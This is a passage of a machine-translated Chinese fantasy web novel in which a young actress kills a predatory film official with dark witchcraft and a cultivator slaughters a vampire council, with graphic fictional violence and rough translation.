    "Mengxue, your talent is indeed the strongest I have ever seen! In just a few days, you can already use intermediate witchcraft like curse!"


    Fan Mengxue was a little embarrassed, "I think... these dark witchcraft seem to be very obedient!"


    Anastasia giggled, "That''s because you have a strong talent! If you change to an ordinary person, it will take several years to communicate with the darkness alone! It may not even be possible for a lifetime."


    The two are talking in the room.


    Han Yao walked in, her face full of anger.


    "Mengxue, the old guy from the Film Association wants you to go there in person! I think he must have no good intentions!"


    Han Yao didn''t watch Anastasia sitting on the sofa the whole time, as if she didn''t exist at all.


    "Mengxue, the big deal is that we don''t want this prize, and don''t let this old guy take advantage!" Han Yao was still angry.


    Fan Mengxue nodded, "Okay, I know! Sister Yao, I will pay attention."


    After Han Yao left.


    Anastasia smiled faintly, "Your agent is very sincere to you!"


    She just used dark witchcraft, and Han Yao couldn''t see her at all.


    Fan Mengxue smiled bitterly, "Sister Yao is really good to me!"


    Anastasia said calmly: "You seem to be worried about this matter?"


    Fan Mengxue bowed her head and said nothing Remember, you are now a witch walking in the dark. How can I teach you to deal with these bad-hearted men? "A stern look appeared on Anastasia''s face.


    Fan Mengxue hesitated for a moment, then nodded.


    "Miss Fan, I want to express my most sincere compliments to your directorship and acting talent!" said a middle-aged man with a big belly with an exaggerated expression.


    Fan Mengxue smiled, then considered his tone, and said in the most formal tone as possible: "President, I want to ask about my award-winning movie..."


    The man laughed, "Miss Fan''s film award is well-deserved, but..."


    "You have to give something!"

 Chapter 390： Throne made of blood

    Fan Mengxue took a deep breath and stared at the man with a wretched smile.


    "Mr. President, what do you want to say?"


    "Miss Fan, you have been in your career for so many years. I believe you should understand this. As long as you accompany me once, I guarantee that this award is yours, and I can also use all my resources to help you!"


    The man''s face was full of determination to win.


    In his opinion, Fan Mengxue has no reason to refuse.


    Fan Mengxue''s eyes grew colder when she heard the words, she slowly stood up, and said coldly: "Sorry, Mr. Chairman, I think you should find the wrong person! Goodbye!"


    Fan Mengxue didn''t want to pester this kind of person anymore.


    Isn��t it just a movie award?


    Fan Mengxue''s refusal on the spot made the man a little astonished, and then said gloomily: "Miss Fan, I hope you better think it through. If I say something, your movie will never be released in Europe again! Understand?"


    Fan Mengxue suddenly turned around, staring at the proud man, his eyes gradually darkened.


    She just tried to solve the matter in a peaceful way, but helpless, there are always people looking for death by themselves.


    "Aging!" Fan Mengxue shouted coldly.


    A gray light fell on the man.


    The man was somewhat disapproving at first, "Miss Fan, I never believed these so-called..."


    But before the words were over, the man felt a sharp pain in his whole body. He raised his hand and found that the skin on his arm had become dry and wrinkled, just like a dead old man.


    He let out a terrified roar, "What did you do to me? No..."


    The man felt that something was falling down his face, and he touched it with his hand to discover that it was actually a large piece of dead skin.


    But at this moment, he couldn''t even make a roar. He could only look at Fan Mengxue in horror with a pair of cloudy and old eyes, and then continued to age at a speed visible to the naked eye.


    quickly!


    He became a skinny skeleton, and then died in pain.


    Fan Mengxue stood blankly.


    Anastasia walked in slowly, with a look of approval on her face, "It''s very good! But I think that next time you don''t need to talk nonsense, you can deal with this kind of person, just do it!"


    But before Anastasia finished speaking, Fan Mengxue could no longer control it.


    She only felt a cramp in her stomach, and squatting down was a violent retching.


    This is the first time she kills by herself.


    And it still uses dark sorcery.


    The impact on her was not small.


    Anastasia looked at Fan Mengxue who was squatting on the ground with pity, and said lightly: "It''s the same for the first time killing, just get used to it! Believe me, you will love this feeling sooner or later!"


    Fan Mengxue raised her head to look at him, eyes full of tears.


    "I will never like the feeling of killing!"


    Anastasia laughed and said softly: "Hundreds of years ago, I murdered for the first time. It was a young priest. After being attacked by me with dark magic, he died in agony in front of me. I still remember his horrified and hateful eyes. My reaction was bigger than you at the beginning, but I insisted on coming over!"


    As he said, Anastasia''s expression gradually became serious.


    "Remember, you are on a dark road, and you are not the same as others. You are destined to ascend the Throne of the Dark Witch, but this throne was made with blood and death! You have no choice!"


    Fan Mengxue lowered her head, something gradually disappeared in her eyes, and something more.


    "This president can be considered a celebrity, so he died, how to deal with the subsequent impact?" Fan Mengxue asked.


    Anastasia nodded approvingly, "Very good, a qualified dark witch should have this kind of calmness!"


    Then she glanced at the skeleton on the sofa with disdain.


    "In Europe, apart from the **** group of light locusts and blood bats, no one is an opponent of the Dark Council! The president of a small association, I have notified the aftermath, and since then, he seems to have never existed. No one will pursue this matter."


    Anastasia is right. After hundreds of years of operation, the Dark Council has become a giant in the European underground world.


    Dealing with a small president is naturally a matter of course.


    s country.


    In the hotel.


    Quintina swallowed the Marquis'' blood bead that Xue An had bestowed on her.


    The stagnant cultivation base once again began to climb rapidly.


    at last.


    With a loud bang.


    The wings behind Quintina stretched out completely, the previous two and a half pairs of wings have now been transformed into three pairs.


    Then she opened her eyes slowly, a pair of red eyes filled with redness, and it took a while before she gradually returned to normal.


    And Benedict was already crawling on the ground with excitement, "My Excellency Quintina, congratulations on finally entering the position of Marquis!"


    That''s right, Marquis of Blood!


    Quintina finally reached this level.


    Quintina nodded slightly, got up and went to the room where Xue An lived.


    "My lord!" Quintina said respectfully Xue An and An Yan were sitting on the ground playing games. After Quintina came in, Xue An turned his head and gave a slight smile.


    "Breakthrough as a Marquis?"


    "Yes! It''s all because of the cultivation and help of adults!" Quintina said respectfully.


    Xue An did not speak, but violently pressed the handle, and had a good time with An Yan.


    After finally losing to An Yan, Xue An stood up and said lightly: "How many days before the opening of the Blood Mountain?"


    "Tomorrow is the night of the full moon!"


    "Very good!" Xue An nodded in satisfaction.


    "My lord, there is one more thing I want to tell you!"


    "Ok?"


    "Among the blood clan, after becoming a marquis, you have the qualification to enter the blood mountain to listen to the blood clan council. At that time, we will be able to go in honestly for this reason!"


    Xue An frowned slightly, "Does it need to be so troublesome? Isn''t it good to just go in?"


    "Uh..." Quintina was startled by Xue An''s words.


    Then Xue Ancai smiled slightly, "I am teasing you, okay, then we will pretend to be your blood slaves and go into the blood mountain to see what this sanctuary of blood is like!"


    Although Xue An said so, Quintina looked at the excitement on Xue An''s face, and she couldn''t help but think of a thought that she thought was absurd.


    Your lord... don''t you really want to go directly to the blood mountain, right?


    the next day.


    When the moonlight at night just fell on the ground.


    In the sky above the capital of country s, there was faint wind and cloud stirring, and the center of the wind and cloud was red.


    Quintina pointed to the mysterious red, "My lord, that is the entrance to the Blood Mountain!"


    Xue An nodded, "Very well, let''s go now!"


    Quintina nodded, turned into blood and rushed forward. Xue An hugged An Yan and followed closely behind, and went straight to the clouds.

 Chapter 391： Serena in disguise

    The mountain of blood will rise.


    Above the sky, the blood gate is gradually taking shape.


    When Xue An and others arrived, they found that a lot of blood had gathered around the blood gate.


    At the same time, there was still a lot of blood flying rapidly in the air.


    These are all the kinsmen from all over Europe, ready to participate in parliament.


    The appearance of Quintina, Xue An and others attracted a lot of attention.


    After all, compared to these ancient blood races wearing medieval dresses and heavy lead dust.


    Quintina looked extremely young and beautiful.


    "It''s really a new marquise, it''s really strange!" An old man of blood clan smiled coldly.


    "I like this marquise!" The blood said with a greedy face.


    And Xue An looked at this group of blood races with bright eyes.


    Among these blood races, besides the Marquis, there are actually several dukes.


    In Xue An''s eyes, these dukes are simply walking blood beads!


    "One, two, three..." Xue An counted silently, secretly making up his mind.


    No one can let go of the duke!


    At this moment, the blood gate suddenly formed, and then the gate slowly opened.


    The huge golden bat flew out, and then turned into a man with an arrogant expression.


    "Master Harriman!" Many blood races all bowed and saluted.


    Harriman nodded arrogantly, and then said in a sharp voice: "Today''s parliament, all the speakers will attend!"


    There was a commotion among the many blood races.


    Many people were a little surprised.


    In the past, it��s not bad if there was a speaker in the kinship council. This time all the speakers will be there. Is something big going to happen?


    "I hope everyone will remain humble and restrained when facing the adults, understand?" Harriman said coldly.


    "Yes!" the many blood races said in unison.


    Harriman nodded in satisfaction and waved his hand, these blood races began to gradually enter the blood gate.


    When it was Quintina''s turn, Harriman frowned suddenly, "Wait!"


    Quintina stopped.


    "Why haven''t I seen you before?"


    Quintina leaned slightly, "I am the new Marquis!"


    Harriman''s face changed slightly, "New Marquis?" Then he looked at Quintina several times with scrutiny.


    "What''s your name? Which family are you from?"


    "My name is Quintina, from the Cecil family!"


    "The Cecil family?" Harriman frowned and thought for a long time, without any impression.


    Maybe it''s a small family from some remote place.


    Thinking of this, Harriman became more arrogant, "Do you know the etiquette when facing adults?"


    Quintina nodded, "I know!"


    Harriman did not let Quintina in, but pointed at Xue An arrogantly.


    "What do these two people do?"


    "These are my two blood slaves!" Quintina said.


    "Blood slave?" Harriman showed disgust.


    "This is the sanctuary of the blood race, how can you allow the blood slaves to enter this humble creature? Quickly let them go!"


    Xue An raised his eyebrows slightly, but he didn''t expect such arrogant faces in the blood clan to bully others.


    Just when it happened.


    Seeing another **** light flying towards.


    After stopping, it turned out to be Serena.


    At this time, Serena had restored her previous outfit.


    He re-tied his ponytails, put on death eye makeup, wore a t-shirt and bikini shorts, and carried a baseball bat.


    Xue An was startled slightly.


    Serena leaned respectfully at Xue An first, and then slowly walked towards Harriman chewing gum.


    When Harriman saw Serena, his face showed embarrassment and horror.


    "Little...Little Witch, why are you here?"


    Serena spit out a big gum bubble, and smiled nervously at Harriman.


    But her smile made Harriman a cold sweat on his forehead.


    Although this Serena is only a marquis strength, there is an adult behind her backing her, and even Harriman dare not provoke her.


    "I heard you don''t let my friends in?" Serena said with a grin.


    "Ah, I really didn''t know this was your friend!"


    Before she could say anything, Serena picked up the baseball bat and smashed it.


    boom!


    Harriman was hit by the stick on his forehead.


    Although with the strength of his blood marquis, he would not be crushed to death.


    But under this stick, he still smashed him more than ten meters away, and blood was also flowing out of his forehead.


    "Isn''t it the reason?" Serena said coldly.


    "No..." Harriman was about to say something, when she saw Serena picking up the baseball bat again, she turned around in fright and ran.


    Serena aimed at Harriman''s back, took aim with the stick, and then threw it out suddenly.


    The baseball bat made a beautiful arc in the air and hit Harriman''s back.


    Harriman staggered in midair and was almost smashed down before speeding up and running away.


    Serena clapped her hands, spit on the ground disdainfully, then turned around and came to Xue An.


    "My master Benedict is afraid that the adults will be in danger, so he asked me to help you!"


    Xue An looked at the respectful Serena, her eyes flickered slightly, but a smile appeared at the corner of her mouth.


    "Your soul has been severely injured. I didn''t expect that this time the soul confessed to the Lord, so that you would be a blessing in disguise and heal the injury!"


    Serena smiled, the madness in her eyes had all disappeared, and Xue An''s eyes were full of gratitude.


    As Xue An said.


    Serena suffered extremely brutal abuse when she was a child, and this abuse even lasted for a hundred years.


    It wasn''t until Serena grew up to become a marquis that she got rid of this shadow.


    But this long-term abuse hit Serena was devastating.


    Even Serena has multiple personalities.


    Acting more madly, and never knows fear.


    This was the nickname of Little Witch.


    But Xue An asked his soul to recognize the Lord twice, which actually happened to wipe out those cruel personalities.


    Serena now feels like she has been born again.


    The once broken souls have reunited together.


    "Everything is due to the adults!" Serena said respectfully.


    Xue An smiled slightly, "Okay, it''s time to go in! The master you used to be should be waiting for your return!"


    Selina was shocked at the mention of this, with infinite killing intent in her eyes.


    The person who abused her for a hundred years and enslaved her was her great grandfather, the famous speaker of the blood family, Prince Wilson!


    At the beginning, Serena''s soul was firmly in his control, and she worshipped this cruelly abuser like a god.


    Now that her soul is back to normal, she naturally hates this Wilson!


    "My lord, I want to smash this Wilson''s corpse into thousands of pieces! Accompany you to slaughter the Blood Mountain!" Serena said bitterly.


    Xue An laughed and stepped into the blood gate.

 Chapter 392： 12 Speaker

    Blood mountain.


    This is a huge mountain range towering like clouds.


    It can even be said that the entire blood clan secret realm is occupied by this mountain.


    Along the mountain, many castles have been built.


    The owners of these castles are basically the blood princes.


    And on the top of the mountain, is where the Blood Race Council is.


    When Xue An stepped into the Blood Mountain, he saw countless blood lights gathering towards the top of the mountain.


    A strong breath swept across the sky, making Xue An''s eyes bright and colorful.


    These are all blood beads!


    And when it came to the sanctuary of the blood race on the top of the mountain, a large number of blood races had gathered here.


    These blood races are all well-dressed, gathered in groups of three to five, talking in various elegant words.


    When Xue An and others appeared here, many people cast curious eyes.


    Especially Serena and Quintina, who took the lead in the forefront, made many people look weird.


    "Isn''t that Serena who was crippled by Prince Wilson?" someone whispered.


    "Hehe, it''s the little witch, I didn''t expect that she would also participate in this parliament!"


    "The marquise at the back is very face-to-face!"


    "It''s probably a newcomer! Hey, he looks so beautiful, now those big people have new toys again!"


    In these discussions, Serena was chewing gum with a cold expression on her face.


    As usual, there is a short banquet before the meeting.


    So soon a variety of treasured dishes were served up like water.


    But the most eye-catching thing is the bottles with shining blood.


    After Xue An saw these wine bottles, his eyes gradually grew cold.


    Where are these wines, they are clearly made of human blood!


    Each bottle may represent the lives of hundreds of people.


    But here, it has become the red wine used by these blood races to show their elegance.


    "My lord!" Feeling the murderous aura emanating from Xue An, Serena whispered.


    "Ok?"


    "It''s not the time yet, none of the real big shots have appeared!"


    Xue An nodded, "Understood!"


    While they were talking, there was a voice full of infinite malice.


    "Dear Serena, I didn''t expect you to come too!"


    Hearing this voice, Serena''s eyes were full of blood, and she said without looking back: "My dearest brother, of course I will come to such a grand council!"


    It was Serena''s half-brother and the descendant that Prince Wilson most valued, Dennis.


    Dennis chuckled lightly, his eyes full of condescending arrogance.


    "As a family plaything, I wonder why you dare to talk to me in this tone."


    Serena snorted and did not respond.


    Dennis'' gaze was attracted by Quintina on the side, and he walked over with a glass of wine, then leaned gracefully.


    "Beautiful lady, nice to meet you, I am Dennis, a descendant of the Wilson family, a thousand-year-old nobleman! Your beauty is so unforgettable for me!"


    Quintina did not respond, but took a half step back, and said flatly: "But I am not happy to meet you!"


    These words made Dennis''s expression change, and a light of irritability and anger appeared in his eyes.


    "I hope you can understand, who are you talking to!" With the voice, three and a half pairs of blood wings appeared behind Dennis.


    People around were shocked, "It''s actually about to break through to the existence of the Grand Duke!"


    "The descendants of Lord Wilson are really extraordinary!"


    Dennis was full of pride and arrogance in these comments.


    "Marquise, as long as you apologize for your attitude just now and be attached to me, I can forgive you!"


    Quintina sneered and shook her head, "Daydreaming!"


    boom!


    The people around were shocked by Quintina''s attitude.


    Actually challenged Dennis with the strength of the Marquis.


    Dennis looked gloomy and could drip water, "Very well, Marquise, I remember you. After the council is over, I will be happy to talk to you again!"


    After that, he turned and walked away.


    Quintina secretly breathed a sigh of relief, she had just been crushed by the aura of Dennis.


    But for the sake of the owner, she cannot bow her head.


    Xue An smiled faintly at this time, "It''s a pity!"


    Only Quintina and others knew what Xue An meant by pity.


    The Duke of Half Step is not a Duke, and the blood beads he condenses are not usable.


    This is why Xue An said it was a pity.


    At this moment, I saw a commotion ahead.


    I saw figures gradually appeared on the twelve chairs in the hall of the blood family.


    The Twelve Speakers of the Council of the Kindred Group actually attended.


    The many blood races all bent over together and shouted respectfully, "I have seen the speaker!"


    In the middle is Prince Wilson, who scans the entire hall with majestic eyes.


    As a veteran nobleman who has experienced thousands of years, his strength and prestige are awe-inspiring.


    No blood clan dared to look directly at him, and all the sights lowered their heads docilely.


    Only when I scanned the corner, I saw Serena chewing gum, standing carelessly there and even smiled coldly at Wilson, then stretched out a middle finger, and muttered softly in her mouth. What is the sentence?


    Although it is not clear, but it can be seen from the shape of the mouth, it is definitely not a good thing.


    Wilson was slightly startled.


    Serena''s current appearance was completely beyond his expectation, as if she had been out of his control.


    But immediately, a cold smile appeared at the corner of his mouth.


    Serena used to be his best toy, and it took her a hundred years of abuse before she succumbed to it.


    But once the toy succumbed, it was meaningless.


    So Wilson has long lost interest in it.


    Now seeing Serena like this, he was interested in it again.


    Parliament officially began.


    Andrew was the first to speak.


    He used the old-fashioned and medieval words to emphasize: "Dear Speakers, my descendant Andrew died yesterday, and after my investigation, there are still many kinsmen who have been wiped out together. I have every reason to believe that this is a kinship. Attack."


    His words caused a slight commotion.


    "Did the people of the Bright Church do it?" a blood clan asked loudly.


    "It''s still unclear, but I think we need to be more vigilant. Some time ago, the Grand Duke of Aldington fell, and he did not even leave a trace of flesh and blood. Now my descendants are being attacked again. Obviously someone is here. Secretly targeting our blood!"


    "So I propose that our blood council should be more vigilant about this matter." Andrew''s proposal attracted a lot of echoes.


    Wilson nodded insignificantly, "Your Excellency Andrew, your proposal is correct! I once sent Serena to investigate the cause of death of the Grand Duke of Aldington, and now she should have some eyebrows!"


    Following the voice, many eyes focused on Serena.

 Chapter 393： Slaughter the Blood Mountain

    Serena blew a big bubble, waited for it to explode, and then slowly ate it back.


    Dennis frowned and said coldly: "Selena, the noble prince is asking you questions, you must answer as soon as possible!"


    Serena laughed nervously, then walked to the front of the stage carrying a baseball bat, and said to the blood races: "I did investigate it, and then I found a shocking secret!"


    "Oh? What''s the secret?" Wilson also showed some interest.


    "That was the one who killed Aldington, a human!"


    "Human? How could it be possible!" There was a commotion among the many blood races, and they showed unbelief.


    In their view, they would rather believe that it was a sneak attack by people from the Dark Council than admit that a grand duke died in human hands.


    After all, only a few hundred years back, in the Dark Middle Ages, human beings were talking beasts in the eyes of these blood races.


    "Hehe, then you say, why does this human want to deal with our blood?" Dennis asked with a sneer.


    "It''s very simple! It''s because you are unhappy to see you who have high self-esteem! Do you know why the Grand Duke of Aldington didn''t even leave a trace of flesh and blood?"


    "Because this human powerhouse has condensed the duke into blood beads!"


    This sentence made many dukes'' expressions slightly changed, and Wilson even snorted, "The means of the Bright Church!"


    There was indeed a grand duke who was ambushed by the Church of Illumination and fell. He was then condensed into blood beads and became the trophy of the Church of Illumination.


    But I didn''t expect this method to happen again.


    "Then who is this human? Have you investigated it clearly?" Dennis asked in a deep voice.


    "Naturally, I checked it out, and even I already consider it the master!" Serena became more excited as she said.


    Her words caused an uproar.


    Many people think Serena is crazy.


    Dennis even snorted, "How can the noble blood marquis recognize a humble human as the master? You have tarnished the reputation of the blood!"


    Serena laughed loudly, "Noble blood? Haha, in my opinion, each of you is not as good as a pig or a dog!"


    "Dennis, grab her, she is crazy!" Wilson said lightly.


    "Yes!" Dennis moved forward with a grin.


    At this moment, a calm voice rang in the ears of all the blood races.


    "Should all be here, right?"


    Hearing this voice, many blood races were taken aback.


    Serena showed a look of admiration and leaned respectfully, "My lord, it''s almost all here!"


    "Very good!" Xue An led An Yan and stepped to the front of the stage.


    "Human!" Many blood races exclaimed slightly.


    And Quintina also walked behind Xue An.


    "How come humble humans come in? Harriman, how do you guard the blood gate?" Some blood said angrily.


    Harriman, who was beaten by Serena with a bruised nose and swollen face, trembled and hurried out and said with a wry smile: "At that time Serena said that this was her friend and I refused to let in. She even beat me violently. "


    "Selena, what do you want to do?" Dennis said harshly.


    Serena giggled, "What are you doing? Naturally, I will get back the humiliation I have suffered over the past century!"


    Hearing these words, Wilson''s face sank, and he said coldly: "I''m looking for death!"


    As he said, a ray of blood came straight to Serena.


    The speed was so fast that it even shook the entire hall of the blood family.


    The prestige of the prince is evident.


    But at this moment, two slender fingers suddenly appeared in front of the blood awn, and then gently clamped the blood awn in the hand.


    Then Xue Ancai smiled faintly, "I killed Aldington!"


    The complexion of many blood races changed.


    Xue An looked at Andrew again, "I killed your descendant too!"


    Andrew''s face was pale.


    Xue An looked around at all the blood races present, the light in his eyes became colder, "And I am here today to slaughter your filthy mountain of blood!"


    This sentence left the room completely silent, and then there was a roar.


    "Humble human, you will pay the price for your arrogance!" The blood clan roared and shot out.


    One after another, **** glows exuding cold and murderous intent directed towards Xue An.


    But under the offensive of this stormy sea, Xue An just raised his hand gently, "Fire...Bailian!"


    Following his voice, lotus flowers made of white flames appeared in the air.


    The blood light in front of the white lotus is like seeing the ice and snow of the sun, melting silently.


    A rich and holy breath filled the entire temple.


    Wilson stood up suddenly and said coldly: "It''s the flame of light, kill him! At all costs!"


    The flame of light is a kind of divine flame that is full of threats to the blood race.


    The kinship has always regarded it as a deadly enemy.


    Now that Xue An showed this move, it was naturally regarded as the target of public criticism.


    All the blood races shot together, and countless blood lights formed a sea of ??blood, and they went straight to Xue An.


    Quintina and Serena turned pale, and staggered back a few steps. This combination of attacks was clearly beyond their capacity.


    Xue An laughed, then took a step.


    "Lotus breaks ten thousand magic!"


    boom!


    These white lotus suddenly increased countless times, densely covering the entire hall.


    Wherever I passed the flames cover the sky.


    Countless blood races did not even hum, they were refined by this flame.


    Dennis yelled in horror, "My lord save me!"


    Wilson snorted, and a blood beam stretched out, which was worthy of saving Dennis.


    But Harriman was not so lucky, and he was directly reduced to nothingness by the flames.


    Countless marquis or duke blood drops fell into Xue An''s hands like running water.


    Xue An smiled and said to An Yan: "Wife, take it!"


    An Yan nodded, opened the mustard ring, and directly sucked all the blood beads into it.


    In this scene, Wilson and the many powerhouses of the blood clan were distraught.


    "Let''s shoot together and kill him!" Wilson roared.


    This human being is simply terrifying, and there is also a flame of light, which is a big trouble for the blood race and must be removed!


    The lowest of the twelve speakers is also the top of the Duke, and the rest are princes.


    And top princes such as Andrew also shot together,


    Under the combined blow of these powerful blood races.


    Wilson grinned and said, "Bloodlight hell!"


    boom! The endless blood light wrapped the people of Xue An layer by layer.


    Wilson laughed, "No matter how strong you are, you will be turned into blood in my **** hell!"


    With that said, Wilson was full of pride.


    If you can refine this human powerhouse, it will be of great benefit to your own cultivation.


    But his excitement didn''t last for a few seconds. A calm voice came.


    "Really? But in my opinion, it''s nothing more than that!"


    Following the voice, a pair of white and slender hands stretched out, directly torn apart the blood that envelops him!


    Then Xue An walked out slowly, and smiled at the stunned Wilson and others, "Today, you all can''t run away!"

 Chapter 394： Endless white lotus

    With the voice, the endless white lotus enveloped the entire sanctuary of the blood race, and the white petals fell like rain, turning into flames, burning everything that blocked it.


    This scene shocked all the blood races.


    "Human powerhouse, who are you? Why do you want to slaughter our kinsmen!" Wilson shouted in horror, full of blood glowing, struggling against the flames of light.


    Xue An said indifferently: "It doesn''t matter who I am, the important thing is that all of your blood races must die today!"


    "No, the great blood family will never be extinct, you humble human!" Wilson roared, and the blood on his body suddenly expanded countless times.


    Six pairs of huge blood wings appeared behind Wilson, and even his body became a bat.


    Seeing him like this, the other eleven speakers also roared and showed their complete bodies.


    Twelve golden bats floated in the air, and the blood was so full that they could block the flames of light.


    Wilson grinned and said: "Human, you are indeed very powerful, but our twelve speakers are not so easy to deal with..."


    The voice did not fall.


    Xue An smiled faintly, "It''s interesting, but this is interesting!"


    As he said, he waved his hand.


    The endless sword light appeared in the main hall and rushed towards it.


    Wilson and others were shocked.


    They thought that the flame of light that resisted Xue An would be invincible, but who would have thought that Xue An would have such a trick.


    However, they are also prince-level blood clan powerhouses anyhow, and under this endless sword light, they still have the power to protect themselves.


    But if they can escape, it doesn''t mean that other blood races can.


    The weaker blood races are all unlucky.


    Such as Andrew, such as Dennis.


    These blood races let out a scream, and then they were swallowed by Jian Mang.


    There was a dead silence in the main hall, and only the sound of the rustling of the sword light''s cutting body and the sound of low blood could be heard.


    Wait for the sword light to disperse.


    The flesh and blood of these blood races has disappeared, leaving only the skeleton standing in place.


    The strong vitality of the blood family made them still not dead even if they were like this.


    But Dennis''s skeleton was trembling, because Serena was walking with a murderous face carrying a baseball bat.


    By this time he could still speak.


    "Spare!"


    He begged Serena for mercy.


    The only response to him was a baseball bat carrying the wind.


    boom.


    Serena concentrated all the anger accumulated over the past century on this baseball bat.


    With a stick, Dennis'' skull was shattered.


    Dennis staggered to the ground, Serena''s eyes were full of crazy murderous, and she took a step forward, rounded the baseball bat, and began to smash her crazy.


    The screams gradually weakened.


    Serena''s shot was so cruel that she even smashed Dennis''s bones into powder.


    Even if the blood clan is not dead, but under such a serious injury, Dennis''s rebirth will not help, and he can only shout weakly.


    "My prince, save me!"


    Wilson''s eyelids throbbed while looking in the air.


    Serena''s shot was so vicious that he was shocked to see it.


    But at this moment Serena stopped her hand, gasped violently, stretched out her tongue to lick the blood splashed on her face, then raised her head, giggling nervously.


    "My dear ancestor, great prince, don''t worry, it will be your turn soon!"


    Wilson was frightened by the madness in Serena''s eyes, and took a half step back subconsciously! Then I realized that I was actually scared, my face sank, and he said coldly: "Don��t think that you have a strong backer. As my descendant, I will let you be born and you will live, and let you die. I will die!"


    With that said, Wilson pointed at Serena, "Death!"


    As the ancestor of Serena''s bloodline, he can indeed control Serena''s life and death. Usually, as long as this is the finger, Serena will turn to fly ash and die.


    But this time, Serena just blinked and then looked at Wilson with disdain.


    "How could it be!" Wilson was shocked.


    "There is nothing impossible, I have already let your descendant soul recognize the Lord, and now, your bloodline bonds have completely failed!" Xue An said lightly from the side at this time.


    At this time, after a period of endless sword glow baptism, there were very few blood races still alive in the entire hall.


    There were only twelve speakers left, as well as the dying Dennis and several other blood races.


    At this time, Dennis''s bones that had been smashed into powder began to wriggle slowly, reuniting together.


    But Serena didn''t look back, and slammed a stick.


    These bones were smashed into powder again, and Dennis'' desperate cry came.


    After so many times.


    Dennis'' rebirth speed has been extremely slow, and even his aura has fallen.


    Obviously, he was on the verge of death at this time.


    Wilson took a deep breath, then lowered his high head.


    "Humans, how can you let our kinsman go?"


    Xue An smiled faintly, "It''s very simple, after condensing you all into blood beads!"


    Wilson was so angry that he gritted his teeth. Although he was frightened, the matter was over and he had to work hard.


    "Then you go to die!" Wilson said, the whole person suddenly turned into a streamer, and went straight to Xue An.


    And in an instant, he had already surpassed ten times the speed of sound, which was the power of the blood prince''s full shot.


    But at the moment when he rushed to Xue An before.


    Xue An suddenly stretched out his hand, as if waving a fly lightly, directly slamming Wilson to the side.


    In terms of strength, Prince Wilson''s strength is probably equivalent to human longevity cultivation.


    For Xue An, who can even kill Jinxian, this strength is purely to deliver food.


    So under a palm, Wilson was directly knocked to the ground.


    Wilson was lying on the ground. When he was still in a daze, Xue An stepped on his back, then grabbed the wings on his back and made a sudden force.


    Click.


    A pair of huge blood wings was pulled down by Xue Ansheng.


    Wilson shouted miserably, and then passed out in pain.


    The remnants of the kinsmen who have also seen this scene are terrified.


    This man, the shot is too **** and domineering.


    Xue An did not intend to let go of the so-called prince of blood.


    With his hand, he quickly pulled off all the wings of Wilson''s back.


    When he reached the back, every time he pulled it out, Wilson trembled in pain.


    Finally, Xue An clapped her hands Serena nodded with a murderous look, "Now, he is yours!"


    Serena wept with joy, "Yes, my lord!"


    Speaking, he stepped forward and picked up Wilson''s ankle, and suddenly he shook it, like a whip, and smashed the ground several times.


    Wilson woke up after being smashed, and then saw Serena with a crazy smile on her face. She felt cold and was about to flee.


    But his blood wing was pulled down by Xue Ansheng, and for a while, he couldn''t recover his strength at all.


    Serena played with a cold dagger in her hand and laughed, "Prince, the following game, I hope you will like it!"


    "No..." Wilson suddenly remembered that when he abused Serena back then, he would say this before starting.


    Now he changed roles and became the one who was abused.

 Chapter 395： Unconsciously and fearlessly commit suicide

    The voice did not fall.


    A cold light flashed by, and the dagger suddenly pierced Wilson''s palm, pinning him to the ground.


    The pain made Wilson scream.


    Serena held the hilt of the dagger and turned it slowly.


    With every turn, Wilson trembled in pain, and Serena laughed more and more wildly.


    "What you gave me back then, this time, I will return it ten times!" Serena said calmly, but the bitter hatred contained in the words made people shudder.


    The remaining kinsmen roared when they saw it, and rushed all together, trying to rescue Wilson.


    boom.


    As soon as they rushed to the front, countless white flames trapped them firmly.


    Xue An''s eyes flickered and said lightly: "Don''t worry, come one by one!"


    With that, the flame swallowed all the blood races.


    Although the strong and powerful people among them struggled to hold up the blood, trying to resist the attack of this flame.


    But their resistance was like a man''s arm as a car. They only lasted a few breaths before they broke apart.


    The screams shook the entire sanctuary of the blood family, and then stopped abruptly.


    These speakers were all refined into blood beads by Xue An''s flames, and then fell into Xue An''s hands.


    Xue An picked up one and looked at it, then nodded in satisfaction.


    The blood bead refined by the prince is much larger than that of the duke, and the power of the rules contained in it is much stronger.


    At this point, Xue An has almost dozens of Duke''s blood beads and seven or eight Prince''s blood beads.


    And this scene made the last trace of illusion in Wilson''s heart vanished.


    This man, like a demon god, actually slaughtered all the blood races.


    Xue An turned to look at Wilson who was shivering, smiled slightly, and was about to speak.


    suddenly.


    A red blood glow appeared in Wilson''s eyes, and the aura of the whole person suddenly became ancient and powerful.


    "Who is it that dare to slaughter my people!"


    Following the voice, Wilson floated into the air, the momentum of the whole person was rising rapidly, and the wings behind him recovered in an instant, and he grew a seventh pair of wings.


    "It''s the second generation of blood!" Quintina shouted in horror.


    Xue An narrowed his eyes slightly, looked at it with interest, and then shook his head regretfully, "It''s just a projection, what a pity!"


    Wilson was startled slightly, "Mortal, you surprised me, you actually know the projection! Yes, my body is in the blood world, but you actually slaughtered so many of my people, I have to come over!"


    As he said, Wilson looked down at Serena, who was looking crazy with hatred, and frowned, "As a descendant of the blood race, how dare to attack the owner? Are you convicted?"


    Serena was not afraid, hehe laughed, "Convicted? When I was cruelly tortured, where were you guys? Now they ask me if I don''t know the guilt?"


    "You humble Marquis, how dare you speak to me like this?" the second generation blood clan roared.


    Serena sneered when she heard the words, and then stretched out **** viciously, "This is my attitude!"


    Wilson''s complexion gradually became gloomy, and he coldly snorted, "Things that do not live or die!"


    Following the voice, a ray of blood went straight to Serena.


    The huge energy contained in this blood light even knocked out the waves of the space where it passed.


    But in the face of such a powerful attack, Serena was not afraid, but a mocking smile appeared on the corner of her mouth.


    Unconsciously and fearlessly commit suicide.


    This... is why she is called the little witch.


    At this moment, a ray of sword light suddenly appeared, smashing the blood.


    Then Xue An''s indifferent voice came, "I have long felt that these so-called princes alone cannot support the arrogance of the blood for so many years. Sure enough, behind them are the so-called second generations of you who are supporting them! Isn''t it?"


    Wilson showed a solemn expression.


    He came this time as a last resort, and in haste, he didn''t prepare too much energy at all.


    That''s why he wanted to take action to admonish these blood races, and then deal with Xue An.


    But Xue An''s domineering and toughness is far beyond his expectations.


    "Human, you have condensed so many powerful people in my blood clan, I haven''t asked you to settle accounts, are you still going to intervene in my blood clan affairs?" Wilson said coldly.


    Xue An smiled faintly, "You made a mistake. This time I came to Blood Mountain, I was here to run for you top powerhouses!"


    As he said, countless sword lights rose into the sky and went straight to Wilson in midair.


    "Arrogant!" The second-generation blood that descended into Wilson''s body was finally angered.


